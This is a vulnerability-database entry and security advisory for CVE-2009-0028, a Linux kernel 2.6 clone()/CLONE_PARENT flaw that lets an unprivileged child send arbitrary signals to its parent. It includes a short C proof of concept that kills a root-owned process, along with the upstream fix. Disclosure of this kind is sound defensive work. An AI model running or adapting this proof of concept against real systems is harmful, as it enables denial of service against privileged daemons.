Lucene search

K
seebugRootSSV:4840
HistoryFeb 27, 2009 - 12:00 a.m.

Linux Kernel克隆进程CLONE_PARENT本地拒绝服务漏洞

2009-02-2700:00:00
Root
www.seebug.org
24

0.0004 Low

EPSS

Percentile

0.4%

BUGTRAQ ID: 33906
CVE(CAN) ID: CVE-2009-0028

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的clone()系统调用允许调用程序在其子进程退出的时候说明所接收到的信号类型。如果结合CLONE_PARENT利用的话,就会导致新的子进程与调用程序共享相同的父进程,这就允许向调用程序的父进程发送任意信号。

成功攻击要求特权的父进程将用户提供的应用程序启动为子进程,最可能的结果是杀死高权限的父进程。

Linux kernel 2.6.x
厂商补丁:

Linux

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

<a href=“http://www.kernel.org/” target=“_blank”>http://www.kernel.org/</a>


                                                Programs affected: Linux kernel up to at least 2.6.28.
Fixed: Fix sent upsteam. See credits below.
Severity: Send signals to processes you shouldn't be able to.

There are various interesting ways signals can be sent using the Linux kernel API. There are certainly more options that just boring kill(SIG, pid)! Examples include:

    * Use of the fcntl() flags F_SETOWN and the lesser known F_SETSIG
    * Use of prctl(PR_SET_PDEATHSIG, ...)
    * Use of clone(..., SIG, ...)

It is this final example that features in this advisory. The clone() system call permits the caller to indicate what signal it receives when its child exits; the traditional SIGCHLD or perhaps something more exotic. Normally this would not be a problem but there's the nice trick of combining this with CLONE_PARENT. CLONE_PARENT causes the new child to share the same parent as the caller, thus enabling this arbitrary signal to be sent to the caller's parent.

There is limited mischief that can be caused using this. The most likely is a DoS by killing some daemon process. This can be achieved if said daemon process launches untrusted user processes as direct children. There will be a problem if the user processes are the result of an execve() after fork() and setuid(). Without the execve(), the process will be marked as not &quot;dumpable&quot;, so debug attach via ptrace() will not be permitted.

In some rare and bizarre cases, the ability to send a specific signal to a process at a specific time may be abused to make it misbehave. Certainly an area for further research.

Here is a sample piece of code which shows a root-owned process being killed by a non root-owned process.

#include &lt;sched.h&gt;
#include &lt;signal.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

static int the_child(void* arg) {
  sleep(1);
  _exit(2);
}

int main(int argc, const char* argv[]) {
  int ret = fork();
  if (ret &lt; 0)
  {
    perror(&quot;fork&quot;);
    _exit(1);
  }
  else if (ret &gt; 0)
  {
    for (;;);
  }
  setgid(99);
  setuid(65534);
  {
    int status;
    char* stack = malloc(4096);
    int flags = SIGKILL | CLONE_PARENT;
    int child = clone(the_child, stack + 4096, flags, NULL);
  }
  _exit(100);
}

Patch sent upstream (see credits below) was:

--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1184,7 +1184,9 @@ static struct task_struct *copy_process(
       p-&gt;parent_exec_id = p-&gt;self_exec_id;

       /* ok, now we should be set up.. */
-       p-&gt;exit_signal = (clone_flags &amp; CLONE_THREAD) ? -1 : (clone_flags &amp; CSIGNAL);
+       p-&gt;exit_signal = (clone_flags &amp; CLONE_THREAD) ? -1 :
+                        (clone_flags &amp; CLONE_PARENT) ? current-&gt;group_leader-&gt;exit_signal :
+                        (clone_flags &amp; CSIGNAL);
       p-&gt;pdeath_signal = 0;
       p-&gt;exit_state = 0;

Credits

    * Oleg Nesterov and Don Howard for working out a suitable fix and creating the above patch.
    * Eugene Teo for co-ordinating.


CESA-2009-002 - rev 1
Chris Evans
[email protected]